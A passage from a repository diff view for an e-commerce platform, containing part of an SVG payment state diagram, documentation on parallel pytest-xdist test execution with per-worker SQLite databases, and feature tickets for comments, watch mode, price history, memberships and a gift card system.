<text text-anchor="middle" x="1098.4" y="-533.91" font-family="Arial" font-size="10.00">No refund wallet configured</text>
</g>
<!-- confirmed&#45;overpay&#45;refunded&#45;complete&#45;&gt;terminated -->
<g id="edge16" class="edge">
<title>confirmed&#45;overpay&#45;refunded&#45;complete&#45;&gt;terminated</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M1400.13,-595.95C1459.54,-595.76 1530.68,-585.06 1579.4,-543.41 1636.35,-494.73 1648.14,-401.11 1650.16,-350.3"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1653.65,-350.41 1650.42,-340.32 1646.66,-350.23 1653.65,-350.41"/>
<text text-anchor="middle" x="1498.4" y="-598.72" font-family="Arial" font-size="10.00">✓ Terminal Success</text>
</g>
<!-- confirmed&#45;overpay&#45;not&#45;refunded&#45;&gt;terminated -->
<g id="edge17" class="edge">
<title>confirmed&#45;overpay&#45;not&#45;refunded&#45;&gt;terminated</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M1384.21,-529.17C1456.64,-525.63 1549.68,-516.55 1579.4,-493.41 1624,-458.66 1640.56,-391.56 1646.65,-350.41"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1650.12,-350.9 1647.96,-340.53 1643.18,-349.99 1650.12,-350.9"/>
<text text-anchor="middle" x="1498.4" y="-529.98" font-family="Arial" font-size="10.00">✓ Terminal Success (Not Refunded)</text>
</g>
<!-- latepay&#45;refunded&#45;complete&#45;&gt;terminated -->
<g id="edge21" class="edge">
<title>latepay&#45;refunded&#45;complete&#45;&gt;terminated</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M1370.32,-62.87C1433.56,-55.93 1520.99,-57.42 1579.4,-103.66 1633.54,-146.52 1646.59,-232.28 1649.51,-280.47"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1646.02,-280.62 1649.98,-290.45 1653.01,-280.3 1646.02,-280.62"/>
<text text-anchor="middle" x="1498.4" y="-106.91" font-family="Arial" font-size="10.00">✓ Terminal Failed (Refund Complete)</text>
</g>
<!-- latepay&#45;not&#45;refunded&#45;&gt;terminated -->
<g id="edge22" class="edge">
<title>latepay&#45;not&#45;refunded&#45;&gt;terminated</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M1354.19,-8.27C1418.33,3.14 1516.93,9.1 1579.4,-42.66 1616.03,-73 1637.83,-214.63 1646.19,-280.97"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1642.68,-281.05 1647.37,-290.55 1649.62,-280.2 1642.68,-281.05"/>
<text text-anchor="middle" x="1498.4" y="-45.91" font-family="Arial" font-size="10.00">✓ Terminal Failed (Not Refunded)</text>
</g>
<!-- underpaid&#45;refunded&#45;complete&#45;&gt;terminated -->
<g id="edge25" class="edge">
<title>underpaid&#45;refunded&#45;complete&#45;&gt;terminated</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M1377.79,-481.99C1438.93,-481.08 1520.16,-471.13 1579.4,-431.41 1608.41,-411.95 1627.53,-376.19 1638.49,-349.5"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1641.65,-351.03 1642.01,-340.44 1635.13,-348.49 1641.65,-351.03"/>
<text text-anchor="middle" x="1498.4" y="-482.81" font-family="Arial" font-size="10.00">✓ Terminal Failed (Refund Complete)</text>
</g>
<!-- underpaid&#45;not&#45;refunded&#45;&gt;terminated -->
<g id="edge26" class="edge">
<title>underpaid&#45;not&#45;refunded&#45;&gt;terminated</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M1361.59,-420.73C1421.81,-416.2 1509.54,-404.17 1579.4,-372.41 1593.9,-365.81 1607.97,-355.55 1619.69,-345.54"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1621.72,-348.42 1626.86,-339.15 1617.06,-343.19 1621.72,-348.42"/>
<text text-anchor="middle" x="1498.4" y="-417.91" font-family="Arial" font-size="10.00">✓ Terminal Failed (Not Refunded)</text>
</g>
<!-- out&#45;of&#45;stock&#45;refunded&#45;complete&#45;&gt;terminated -->
<g id="edge29" class="edge">
<title>out_of_stock_not_refunded&#45;&gt;terminated</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M1338.37,-315.91C1403.7,-315.91 1494.79,-315.91 1555.87,-315.91"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1555.78,-319.41 1565.78,-315.91 1555.78,-312.41 1555.78,-319.41"/>
<text text-anchor="middle" x="1469.9" y="-319.16" font-family="Arial" font-size="10.00">✓ Terminal Failed (Not Refunded)</text>
<title>out&#45;of&#45;stock&#45;refunded&#45;complete&#45;&gt;terminated</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M1381.45,-360.35C1438.46,-354.01 1513.53,-344.51 1579.4,-332.41 1582.72,-331.8 1586.12,-331.13 1589.54,-330.42"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1589.95,-333.91 1598.98,-328.38 1588.46,-327.07 1589.95,-333.91"/>
<text text-anchor="middle" x="1498.4" y="-358.77" font-family="Arial" font-size="10.00">✓ Terminal Failed (Refund Complete)</text>
</g>
<!-- doublepay_refunded_complete&#45;&gt;terminated -->
<g id="edge32" class="edge">
<title>doublepay_refunded_complete&#45;&gt;terminated</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M1348.79,-183.09C1421.89,-182.41 1517.8,-185.59 1550.9,-205.16 1579.68,-222.18 1598.69,-256.01 1609.69,-281.82"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1606.37,-282.95 1613.34,-290.93 1612.86,-280.34 1606.37,-282.95"/>
<text text-anchor="middle" x="1469.9" y="-208.41" font-family="Arial" font-size="10.00">✓ Terminal Failed (Refund Complete)</text>
<!-- out&#45;of&#45;stock&#45;not&#45;refunded&#45;&gt;terminated -->
<g id="edge30" class="edge">
<title>out&#45;of&#45;stock&#45;not&#45;refunded&#45;&gt;terminated</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M1365.1,-315.41C1429.66,-315.41 1522.47,-315.41 1584.45,-315.41"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1584.15,-318.91 1594.15,-315.41 1584.15,-311.91 1584.15,-318.91"/>
<text text-anchor="middle" x="1498.4" y="-318.66" font-family="Arial" font-size="10.00">✓ Terminal Failed (Not Refunded)</text>
</g>
<!-- doublepay_not_refunded&#45;&gt;terminated -->
<!-- doublepay&#45;refunded&#45;complete&#45;&gt;terminated -->
<g id="edge33" class="edge">
<title>doublepay_not_refunded&#45;&gt;terminated</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M1332.88,-121.78C1396.67,-117.23 1487.83,-120.85 1550.9,-166.16 1588.81,-193.4 1607.09,-246.32 1615.39,-281.39"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1611.88,-281.74 1617.44,-290.76 1618.72,-280.25 1611.88,-281.74"/>
<text text-anchor="middle" x="1469.9" y="-169.41" font-family="Arial" font-size="10.00">✓ Terminal Failed (Not Refunded)</text>
<title>doublepay&#45;refunded&#45;complete&#45;&gt;terminated</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M1378.97,-182.74C1451.13,-182.09 1546.6,-185.24 1579.4,-204.66 1608.17,-221.69 1627.18,-255.52 1638.18,-281.33"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1634.86,-282.45 1641.83,-290.43 1641.36,-279.84 1634.86,-282.45"/>
<text text-anchor="middle" x="1498.4" y="-207.91" font-family="Arial" font-size="10.00">✓ Terminal Failed (Refund Complete)</text>
</g>
<!-- doublepay&#45;not&#45;refunded&#45;&gt;terminated -->
<g id="edge34" class="edge">
<title>doublepay&#45;not&#45;refunded&#45;&gt;terminated</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M1362.89,-121.73C1425.79,-117.17 1516.72,-120.54 1579.4,-165.66 1617.29,-192.93 1635.57,-245.84 1643.88,-280.9"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1640.37,-281.25 1645.93,-290.27 1647.21,-279.75 1640.37,-281.25"/>
<text text-anchor="middle" x="1498.4" y="-168.91" font-family="Arial" font-size="10.00">✓ Terminal Failed (Not Refunded)</text>
</g>
</g>
</svg>

Side by side Swipe Overlay

Before

Width:  |  Height:  |  Size: 34 KiB

After

Width:  |  Height:  |  Size: 36 KiB

Before After
Before After

BIN
docs/state-machine.png Normal file
View file

Binary file not shown.
Side by side

After

Width:  |  Height:  |  Size: 275 KiB

353
docs/testing-performance.md Normal file
View file

@ -0,0 +1,353 @@
# Test System Performance and Parallel Execution
## Overview
The make_post_sell test suite uses **pytest-xdist** for parallel test execution, achieving a **16.7x speedup** - reducing test runtime from ~30 minutes to under 2 minutes.
## Performance Metrics
- **Before parallelization**: ~30 minutes (1800 seconds)
- **After parallelization**: ~1m47s (107 seconds)
- **Speedup**: 16.7x faster
- **Workers utilized**: 64 (auto-detected from CPU cores)
- **Test count**: 430 passed, 4 skipped
- **Concurrency**: Each worker gets isolated database
## How It Works
### Parallel Test Execution (pytest-xdist)
The test suite uses `pytest-xdist` with automatic worker detection:
```bash
make test
# Runs: py.test -n auto
```
The `-n auto` flag tells pytest to:
1. Detect available CPU cores (64 in this case)
2. Spawn one worker process per core
3. Distribute tests across workers using load balancing
4. Run tests concurrently with isolated resources
### Per-Worker Database Isolation
Each pytest-xdist worker gets its own SQLite database file to prevent locking conflicts.
**Configuration**: `make_post_sell/tests/conftest.py`
```python
def pytest_configure(config):
"""
Configure test database isolation for parallel execution.
Each pytest-xdist worker gets its own database file to prevent
SQLite locking conflicts. WAL mode is enabled for better concurrency.
"""
# Get worker ID (e.g., "gw0", "gw1", etc.) for pytest-xdist
worker_id = os.environ.get("PYTEST_XDIST_WORKER", "master")
# Set unique database path for this worker
test_db_path = f"test_make_post_sell_{worker_id}.sqlite"
os.environ["TEST_DATABASE_PATH"] = test_db_path
```
This creates separate database files:
- Worker 0: `test_make_post_sell_gw0.sqlite`
- Worker 1: `test_make_post_sell_gw1.sqlite`
- Worker N: `test_make_post_sell_gwN.sqlite`
### SQLite WAL Mode for Concurrency
The `db_engine` fixture enables SQLite's Write-Ahead Logging (WAL) mode for better concurrency:
```python
@pytest.fixture(scope="session")
def db_engine(request):
"""
Create a SQLAlchemy engine with WAL mode enabled for concurrency.
WAL (Write-Ahead Logging) mode allows multiple readers while a writer
is active, improving parallel test performance.
"""
engine = create_engine(
db_url,
echo=False,
# Important: Use NullPool to avoid connection sharing issues
poolclass=__import__("sqlalchemy.pool", fromlist=["NullPool"]).NullPool,
)
# Enable WAL mode for better concurrency
@event.listens_for(engine, "connect")
def set_sqlite_pragma(dbapi_conn, connection_record):
cursor = dbapi_conn.cursor()
# Enable WAL mode for concurrent access
cursor.execute("PRAGMA journal_mode=WAL")
# Increase cache size for better performance
cursor.execute("PRAGMA cache_size=-64000") # 64MB
# Enable foreign keys
cursor.execute("PRAGMA foreign_keys=ON")
cursor.close()
```
WAL mode benefits:
- Multiple readers can access database simultaneously
- Readers don't block writers
- Better performance under concurrent load
- Automatic cleanup of WAL files
### Dynamic Database Path Configuration
The test configuration file uses environment variable substitution to support per-worker databases:
**File**: `test.ini`
```ini
[app:main]
sqlalchemy.url = sqlite:///%(here)s/${TEST_DATABASE_PATH:-test_make_post_sell.sqlite}
[alembic]
sqlalchemy.url = sqlite:///%(here)s/${TEST_DATABASE_PATH:-test_make_post_sell.sqlite}
```
- `${TEST_DATABASE_PATH}`: Set by conftest.py per worker
- Default: `test_make_post_sell.sqlite` (for non-parallel runs)
### Automatic Cleanup
Test databases are automatically cleaned up after test completion:
```python
def pytest_unconfigure(config):
"""Clean up test database after all tests complete."""
if hasattr(config, "test_db_path"):
db_path = config.test_db_path
if os.path.exists(db_path):
try:
os.remove(db_path)
except Exception as e:
print(f"Warning: Could not remove test database {db_path}: {e}")
```
## Why It's Fast
### 1. True Parallelism
- 64 workers run simultaneously on 64 CPU cores
- No Global Interpreter Lock (GIL) limitations - each worker is a separate process
- Tests run in true parallel, not concurrent
### 2. Isolated Resources
- Each worker has its own database file
- No database locking conflicts
- No resource contention between workers
### 3. Load Balancing
- pytest-xdist automatically distributes tests across workers
- Workers that finish early pick up remaining tests
- No idle workers waiting for slow tests
### 4. SQLite Optimizations
- WAL mode enables concurrent reads
- 64MB cache size reduces disk I/O
- NullPool prevents connection sharing issues
### 5. Test Distribution Strategy
pytest-xdist uses "load balancing" strategy by default:
- Tests are distributed to workers as they become available
- Slower tests don't block fast tests
- Optimal CPU utilization throughout test run
## Performance Breakdown
Based on 430 tests in ~107 seconds across 64 workers:
- **Average time per test**: 0.25 seconds
- **Total CPU time**: ~107 seconds × 64 workers = ~6,848 CPU-seconds
- **Sequential equivalent**: ~6,848 seconds ≈ 1h 54m (if all tests ran sequentially)
- **Actual wall time**: 107 seconds (1m 47s)
- **Parallelization efficiency**: ~64x potential, achieved ~16.7x actual
- Indicates some tests have dependencies or setup/teardown overhead
- Still excellent parallelization efficiency
## Test Types
The test suite includes three types of tests, all running in parallel:
### Unit Tests (`test_models.py`)
- Test individual model methods and properties in isolation
- Fast execution (~0.1-0.3s per test)
- High parallelization efficiency
### Integration Tests (`test_integration.py`)
- Test interactions between models and business logic
- Medium execution time (~0.5-2s per test)
- Good parallelization efficiency
### Functional Tests (`test_functional.py`)
- End-to-end tests through the web interface
- Slower execution (~2-10s per test)
- Benefits most from parallelization
## Skipped Tests
4 tests are conditionally skipped when PayPal credentials aren't configured:
```python
paypal_client_id = environ.get("MPS_TEST_PAYPAL_CLIENT_ID", "")
paypal_secret = environ.get("MPS_TEST_PAYPAL_SECRET", "")
if not paypal_client_id or not paypal_secret:
self.skipTest("PayPal sandbox credentials not configured in environment")
```
**Skipped tests** (in `test_functional.py`):
- Line 1731: PayPal checkout test
- Line 1761: PayPal payment verification test
- Line 1816: PayPal refund test
- Line 1901: PayPal webhook test
To run these tests, set environment variables:
```bash
export MPS_TEST_PAYPAL_CLIENT_ID="your_client_id"
export MPS_TEST_PAYPAL_SECRET="your_secret"
make test
```
## Running Tests
### Parallel execution (default):
```bash
make test
# Uses: py.test -n auto
```
### Specific number of workers:
```bash
source env/bin/activate
env/bin/py.test -n 32 # Use 32 workers
```
### Sequential execution (for debugging):
```bash
source env/bin/activate
env/bin/py.test # No -n flag = single worker
```
### Verbose output with skip reasons:
```bash
source env/bin/activate
env/bin/py.test -v -rs # Show reasons for skipped tests
```
## Hardware Requirements
The current performance assumes high-end hardware:
- **CPU**: 64+ cores (AMD EPYC, Intel Xeon, or similar)
- **RAM**: Sufficient for 64 concurrent Python processes (recommend 32GB+)
- **Storage**: Fast SSD for database I/O
On lower-core systems:
- 16 cores: ~6-8 minute test runtime (still 4-5x speedup)
- 8 cores: ~10-12 minute test runtime (still 2-3x speedup)
- 4 cores: ~15-20 minute test runtime (still ~1.5x speedup)
pytest-xdist automatically adapts to available cores with `-n auto`.
## Implementation Details
### Files Modified
1. **requirements-test.txt**: Added `pytest-xdist`
2. **Makefile**: Changed `py.test` to `py.test -n auto`
3. **test.ini**: Added environment variable substitution for database path
4. **conftest.py**: Created with per-worker configuration and WAL mode
### Challenges Solved
#### Challenge 1: Database Locking
**Problem**: SQLite locks database when multiple processes access it simultaneously
**Solution**: Per-worker database files + WAL mode
#### Challenge 2: Environment Variable Substitution
**Problem**: Pyramid config files don't natively support shell-style variable substitution
**Solution**: Used `${VAR:-default}` syntax supported by Pyramid's config system
#### Challenge 3: Decimal Serialization
**Problem**: pytest-xdist's execnet cannot serialize Decimal objects between workers
**Solution**: Convert Decimal to string in test labels:
```python
# Before:
with self.subTest(fee_amount=fee_amount):
# After:
with self.subTest(fee_amount=str(fee_amount)):
```
## Best Practices
### When to Use Parallel Tests
- ✅ During development (fast feedback loop)
- ✅ In CI/CD pipelines (reduce build times)
- ✅ Before commits (catch regressions quickly)
- ✅ For large test suites (>100 tests)
### When to Use Sequential Tests
- ❌ Debugging specific test failures (use `-k` filter instead)
- ❌ Tests with shared state (fix tests to be isolated)
- ❌ Resource-constrained environments (use `-n` with lower number)
### Writing Parallel-Safe Tests
- Isolate test data (no shared state)
- Use unique IDs/names for test resources
- Clean up after tests (fixtures with teardown)
- Avoid timing-dependent assertions
- Use database transactions for rollback
## Monitoring and Debugging
### View worker output:
```bash
env/bin/py.test -n auto -v
```
### Debug specific worker:
```bash
# Workers are named gw0, gw1, gw2, etc.
env/bin/py.test -n 4 --trace-config
```
### Check database files during test run:
```bash
# In another terminal while tests run:
ls -lh test_make_post_sell_gw*.sqlite
```
## Future Optimizations
Potential improvements for even faster tests:
1. **In-memory databases**: Use `sqlite:///:memory:` per worker
- Eliminates disk I/O entirely
- Requires careful fixture management
2. **Test grouping**: Group related tests to same worker
- Reduces setup/teardown overhead
- Use pytest-xdist's `--dist loadgroup`
3. **Fixtures optimization**: Cache expensive fixtures at session scope
- Share setup across tests in same worker
- Be careful with state isolation
4. **Selective parallelization**: Run slow tests in parallel, fast tests sequentially
- Use markers to tag slow tests
- Balance overhead vs speedup
## Conclusion
The parallel test execution system achieves a **16.7x speedup** through:
- pytest-xdist automatic worker distribution
- Per-worker database isolation
- SQLite WAL mode for concurrency
- Efficient resource management
This transforms the test suite from a 30-minute bottleneck to a 2-minute feedback loop, enabling rapid development iteration and continuous integration.

16
docs/tickets/an-algo/03-comment-sentiment-analysis.md Normal file
View file

@ -0,0 +1,16 @@
# Add sentiment analysis to comments
Lightweight, self-contained feature. Comments exist, sentiment scoring doesn't.
## Scope
- Classify comments as positive/neutral/negative
- Use a lightweight local rule-based approach (no external API dependency)
- Store sentiment score per comment in DB
- Feed sentiment data into existing analytics dashboard (MPS-3)
## Notes
- No longer blocked by engagement signal weighting — analytics is live (MPS-3)
- Products with high positive:negative ratio could surface in analytics
- Keep it simple: rule-based first, upgrade to ML later if needed

14
docs/tickets/an-algo/04-love-gifts-tipping.md Normal file
View file

@ -0,0 +1,14 @@
# Implement Love Gifts (voluntary tipping system)
**Decision**: Descoped. xmrchat.com already solves tipping better and accepts
more coins. If revisited, scope to internal shop owners and power shoppers or
paying members only — not a public feature.
## Original scope (archived)
- Love Gifts: Tips from 1-420 units of currency
- No platform cut on the first $0.69 (pure creator love)
- UI: Gift button on product pages and in watch mode
- Integrate with existing payment infrastructure (Stripe, PayPal, crypto)
## Status: ON HOLD — revisit when membership tiers exist

17
docs/tickets/an-algo/07-pricing-history.md Normal file
View file

@ -0,0 +1,17 @@
# Build transparent pricing history display
Price model already exists (`price_history` relationship on Product). Needs display.
## Scope
- Visible to **shop owners** in settings/analytics — not public by default
- Optionally visible to paying members (future membership tier gate)
- Display price timeline on product pages (expandable section)
- No dark patterns — "was $420, now $7!" must be verifiable from history
## Implementation
- `price_history` relationship already on Product model — just wire up display
- Small, honest, useful: show price change dates and amounts
- Add to analytics dashboard for shop owner view
- Keep public display behind a toggle (off by default)

40
docs/tickets/an-algo/09-membership-price-history.md Normal file
View file

@ -0,0 +1,40 @@
# Membership tiers that unlock price history for buyers
## Context
Price history is now visible to shop owners/editors on product pages (expandable
`<details>` section). The next step: let shops offer membership tiers that grant
buyers access to price history data. This is valuable for wholesalers dealing in
collectibles (pokemon cards, MTG, vintage vinyl, etc.) who need pricing trend
visibility before committing to purchases.
## Membership tiers
- **Monthly** — base price, full price history access
- **Yearly** — suggested ~15% discount over monthly
- **3-Year** — suggested ~30% discount over monthly
Shop owners set their own prices. The platform suggests discount percentages but
doesn't enforce them.
## What members unlock
- Price history table on product pages (same expandable `<details>` UI that
editors see today)
- Price change notifications (future: email digest of price movements across
followed shops)
- Historical price charts (future: sparkline or simple line chart)
## Implementation notes
- New model: `Membership` (user, shop, tier, start/end timestamps, payment ref)
- Gate: `request.user.has_membership(shop)` check alongside the existing
`can_edit_shop` check in `views/product.py` and `views/watch.py`
- Stripe recurring billing integration for membership payments
- Shop settings form section for configuring tier prices and enabling memberships
## Non-goals
- No public price history by default (opt-in via membership)
- No price prediction or "best time to buy" features
- No cross-shop price comparison

34
docs/tickets/mps-0.md Normal file
View file

@ -0,0 +1,34 @@
# MPS-0: AJAX Comment Submission (No Page Refresh)
## Problem
When playing video or audio on product/content pages, leaving a comment
triggers a full page reload (`POST /comments/new` followed by `HTTPFound`
redirect). This kills media playback mid-stream.
## Solution
Progressive enhancement: when JavaScript is available, intercept the comment
form submission and use `fetch()` with the `X-Requested-With: XMLHttpRequest`
header. The server detects this header and returns JSON instead of a redirect.
The client inserts the new comment into the DOM without reloading.
When JavaScript is disabled, the existing form POST and redirect behaviour is
unchanged.
## Files Changed
| File | Change |
|------|--------|
| `make_post_sell/views/comment.py` | Return JSON when AJAX header is present |
| `make_post_sell/static/js/comments.js` | New: fetch-based form handler, DOM insertion |
| `make_post_sell/templates/snippets/comments.j2` | Add `id="comments-list"`, load `comments.js` |
| `make_post_sell/tests/test_functional.py` | AJAX comment endpoint tests |
## Verification
1. `make test` -- all existing and new tests pass
2. Play a video, leave a comment, video keeps playing
3. Disable JS, leave a comment, redirect behaviour works as before
4. Comment count updates without reload
5. Pending-approval banner shows for non-auto-approved comments

37
docs/tickets/mps-1.md Normal file
View file

@ -0,0 +1,37 @@
# MPS-1: YouTube-Style Watch Experience
## Summary
Add a YouTube-like watch experience to product/content pages: sticky video player, autoplay with sound, stemming-powered "Up Next" related content sidebar, and a shop settings toggle to opt in.
## Features
- **Sticky Video**: `position: sticky; top: 0` on `.product-images` keeps video visible while scrolling
- **Autoplay**: Direct `<video autoplay controls>` render (no thumbnail gate) with play() promise fallback to muted + unmute overlay
- **Related Content**: Custom suffix-stripping stemmer scores title+description overlap to find related shop content (max 8 items)
- **Shop Setting**: Radio button toggle in shop settings, off by default
## Degradation
| Capability | Experience |
|-----------|-----------|
| Full JS + autoplay | Video autoplays with sound, sticky, AJAX comments, related sidebar |
| JS + autoplay blocked | Muted autoplay + unmute button |
| No JS | `<noscript>` link, form POST comments, server-rendered sidebar |
| No CSS sticky | Video scrolls normally |
| Watch mode off | Existing click-to-play thumbnail behavior |
## Files Changed
- `models/shop.py` - `watch_mode_enabled` column
- `models/product.py` - `stem_word()`, `tokenize_and_stem()`, `get_related_products()`
- `views/product.py`, `views/content.py` - pass `related_products` to template
- `views/shop.py` - handle `watch_mode` setting
- `templates/shop_settings.j2` - watch mode radio button
- `templates/product.j2`, `templates/content.j2` - sticky container, direct video render
- `templates/snippets/related_content.j2` - "Up Next" sidebar snippet
- `static/js/watch.js` - autoplay promise handler
- `static/css/common.css` - sticky video, unmute overlay, related content styles
- `scripts/alembic/versions/` - migration for `watch_mode_enabled`
- `tests/test_models.py` - stemmer + related products tests
- `tests/test_functional.py` - watch mode settings tests

79
docs/tickets/mps-10.md Normal file
View file

@ -0,0 +1,79 @@
# MPS-10: Gift Card System — Models & Migration
## Problem
Shops want to sell variable-amount gift cards. Buyers pick an amount (slider),
purchase with any payment method (including crypto), and receive a code. The
recipient enters the code at checkout (like a coupon) and the balance decrements
across purchases. Gift cards never expire (permacomputer rules).
This ticket covers the data layer only. Purchase flow (MPS-11), redemption flow
(MPS-12), and shop admin UI (MPS-13) are separate tickets.
## Solution
### New model: `MpsGiftCard`
| Column | Type | Notes |
|--------|------|-------|
| `id` | `UUIDType` | PK (uuid1) |
| `shop_id` | `UUIDType` | FK to Shop — card is scoped to one shop |
| `code` | `Unicode(64)` | Unique redemption code, uppercase alphanumeric |
| `initial_amount_in_cents` | `BigInteger` | Amount at time of purchase |
| `balance_in_cents` | `BigInteger` | Current remaining balance |
| `purchaser_email` | `Unicode(256)` | Email of the buyer |
| `gift_email` | `Unicode(256)` | Optional recipient email |
| `invoice_id` | `UUIDType` | FK to Invoice — the purchase transaction |
| `created_timestamp` | `BigInteger` | Milliseconds |
| `disabled` | `Boolean` | Admin kill switch, default False |
Properties:
- `is_valid` — not disabled and balance > 0
- `balance` — `cents_to_dollars(balance_in_cents)`
- `initial_amount` — `cents_to_dollars(initial_amount_in_cents)`
- `shop_uuid_str` — string form of shop_id
Code generation: 16-char uppercase alphanumeric (`secrets.token_hex(8).upper()`),
prefixed with `GC-` for human readability. Example: `GC-A1B2C3D4E5F6G7H8`.
### New model: `MpsGiftCardTransaction`
Tracks every time a gift card balance is used at checkout.
| Column | Type | Notes |
|--------|------|-------|
| `id` | `UUIDType` | PK (uuid1) |
| `gift_card_id` | `UUIDType` | FK to MpsGiftCard |
| `invoice_id` | `UUIDType` | FK to Invoice — the purchase that used the card |
| `amount_in_cents` | `BigInteger` | Amount deducted from balance |
| `created_timestamp` | `BigInteger` | Milliseconds |
### Shop settings columns
Add to Shop model:
| Column | Type | Default |
|--------|------|---------|
| `gift_card_enabled` | `Boolean` | `False` |
| `gift_card_min_in_cents` | `BigInteger` | `500` ($5.00) |
| `gift_card_max_in_cents` | `BigInteger` | `25000` ($250.00) |
### Helper functions
- `get_gift_card_by_code(dbsession, code, shop=None)` — lookup by code, optionally scoped to shop
- `get_gift_card_by_id(dbsession, gift_card_id)` — standard ID lookup
- `get_gift_cards_by_shop(dbsession, shop)` — all cards for a shop (admin view)
## Files Changed
| File | Change |
|------|--------|
| `models/gift_card.py` | New: MpsGiftCard model |
| `models/gift_card_transaction.py` | New: MpsGiftCardTransaction model |
| `models/shop.py` | Add gift_card_enabled, gift_card_min_in_cents, gift_card_max_in_cents |
| `models/__init__.py` | Import new models |
| `scripts/alembic/versions/*_gift_card_tables.py` | Migration: new tables + shop columns |
## Depends On
Nothing. Foundation ticket.

76
docs/tickets/mps-11.md Normal file
View file

@ -0,0 +1,76 @@
# MPS-11: Gift Card System — Purchase Flow
## Problem
Buyers need a way to purchase gift cards for a shop. The shop owner sets a
min/max amount range, and the buyer picks any amount within that range using a
slider. The buyer can optionally enter a recipient email address so the gift
card code is delivered to someone else.
## Solution
### Gift card "product" page
Gift cards are not regular products — they are a shop-level feature. A shop with
`gift_card_enabled=True` gets a `/shop/{slug}/gift-card` page.
The page contains:
- Shop name and branding
- Amount slider (range input) with min/max from shop settings
- Manual amount text input (synced with slider for precise entry)
- Optional "Gift to" email field
- Optional gift message (short text, stored on the card)
- "Add to Cart" button
### Cart integration
Gift cards are added to the cart as a special line item. Since they have variable
pricing and are not regular products, they need a different storage approach in
`json_cart`:
Option A: Store gift card items in a separate `json_gift_cards` column on Cart.
Format: `[{"shop_id": "...", "amount_in_cents": 2500, "gift_email": "...", "gift_message": "..."}]`
This keeps gift cards cleanly separated from product line items and avoids
polluting the existing `json_cart` dictionary (which maps product UUIDs to
quantities).
### Checkout
When the cart contains gift card items:
1. Gift card amounts are included in the cart total
2. After successful payment (Stripe, PayPal, or crypto), generate a
`MpsGiftCard` record for each gift card line item
3. Generate the unique code (`GC-` prefix + 16 hex chars)
4. If `gift_email` is provided, send the code to the recipient
5. Always show the code to the purchaser in the order confirmation
### Email delivery
When `gift_email` is set, send a simple email to the recipient containing:
- Shop name
- Gift card amount
- The redemption code
- Optional gift message
- Link to the shop
The email is informational only — the code IS the value. No account required.
## Files Changed
| File | Change |
|------|--------|
| `views/gift_card.py` | New: gift card page + add-to-cart handler |
| `templates/gift_card.j2` | New: gift card purchase page with slider |
| `static/js/gift_card.js` | New: slider/input sync, amount formatting |
| `static/css/common.css` | Gift card page styles (using tokens) |
| `models/cart.py` | Add `json_gift_cards` column, gift card total methods |
| `views/cart.py` | Include gift card totals in checkout flow |
| `views/checkout.py` | Generate MpsGiftCard records after payment |
| `routes.py` | Add `/shop/{slug}/gift-card` route |
| `lib/email.py` | Gift card delivery email template |
| `templates/shop.j2` | "Gift Cards" link when enabled |
## Depends On
MPS-10 (models and migration).

84
docs/tickets/mps-12.md Normal file
View file

@ -0,0 +1,84 @@
# MPS-12: Gift Card System — Redemption at Checkout
## Problem
Recipients need to apply a gift card code at checkout, just like a coupon code.
The gift card balance should reduce the cart total for that shop. Partial use is
supported — remaining balance stays on the card for future purchases.
## Solution
### Cart: gift card code entry
Add a "Gift Card" code input field alongside the existing coupon code field on
the cart/checkout page. The flow mirrors coupon application:
1. User enters gift card code
2. Server validates: code exists, belongs to a shop in the cart, has balance, not disabled
3. If valid, attach to cart and show the discount
4. If invalid, show error message
### Cart model changes
Add gift card tracking to the Cart model, parallel to how coupons work:
- New association: `MpsCartGiftCard` (cart_id, gift_card_id) — many-to-many
- `cart.gift_cards` — association proxy to attached gift cards
- Gift card discount is applied AFTER coupon discounts (coupons reduce the
price first, then gift card balance covers the remainder)
### Discount calculation
In `Cart.discounted_shop_totals_in_cents`, after coupon discounts:
```python
# After coupon discounts are applied...
for gift_card in self.gift_cards:
shop_uuid = gift_card.shop_uuid_str
if shop_uuid in self._discounted_shop_totals_in_cents:
current = self._discounted_shop_totals_in_cents[shop_uuid]
deduction = min(gift_card.balance_in_cents, current)
self._discounted_shop_totals_in_cents[shop_uuid] = current - deduction
# Store deduction amount for checkout to record transaction
gift_card._pending_deduction = deduction
```
### Checkout: balance deduction
After successful payment (or if `requires_payment` is False because gift card
covered the full amount):
1. For each attached gift card, deduct `_pending_deduction` from `balance_in_cents`
2. Create a `MpsGiftCardTransaction` record
3. Detach gift card from cart
### Validation
`cart.validate_attached_gift_cards()` checks:
- Gift card is not disabled
- Gift card has balance > 0
- Gift card belongs to a shop in the cart
### Edge cases
- **Gift card covers full amount**: `requires_payment` returns False (total <= 64 cents
after gift card). Checkout proceeds without charging a card, same as a 100% coupon.
- **Gift card + coupon stacking**: Allowed. Coupon applies first (percentage or
dollar off), then gift card balance covers the remaining amount.
- **Multiple gift cards**: A buyer can apply one gift card per shop in the cart
(same constraint as coupons — one per shop keeps it simple).
## Files Changed
| File | Change |
|------|--------|
| `models/cart_gift_card.py` | New: MpsCartGiftCard association model |
| `models/cart.py` | Gift card association proxy, discount integration, validation |
| `views/cart.py` | Gift card code apply/remove handlers |
| `templates/cart.j2` | Gift card code input field, balance display |
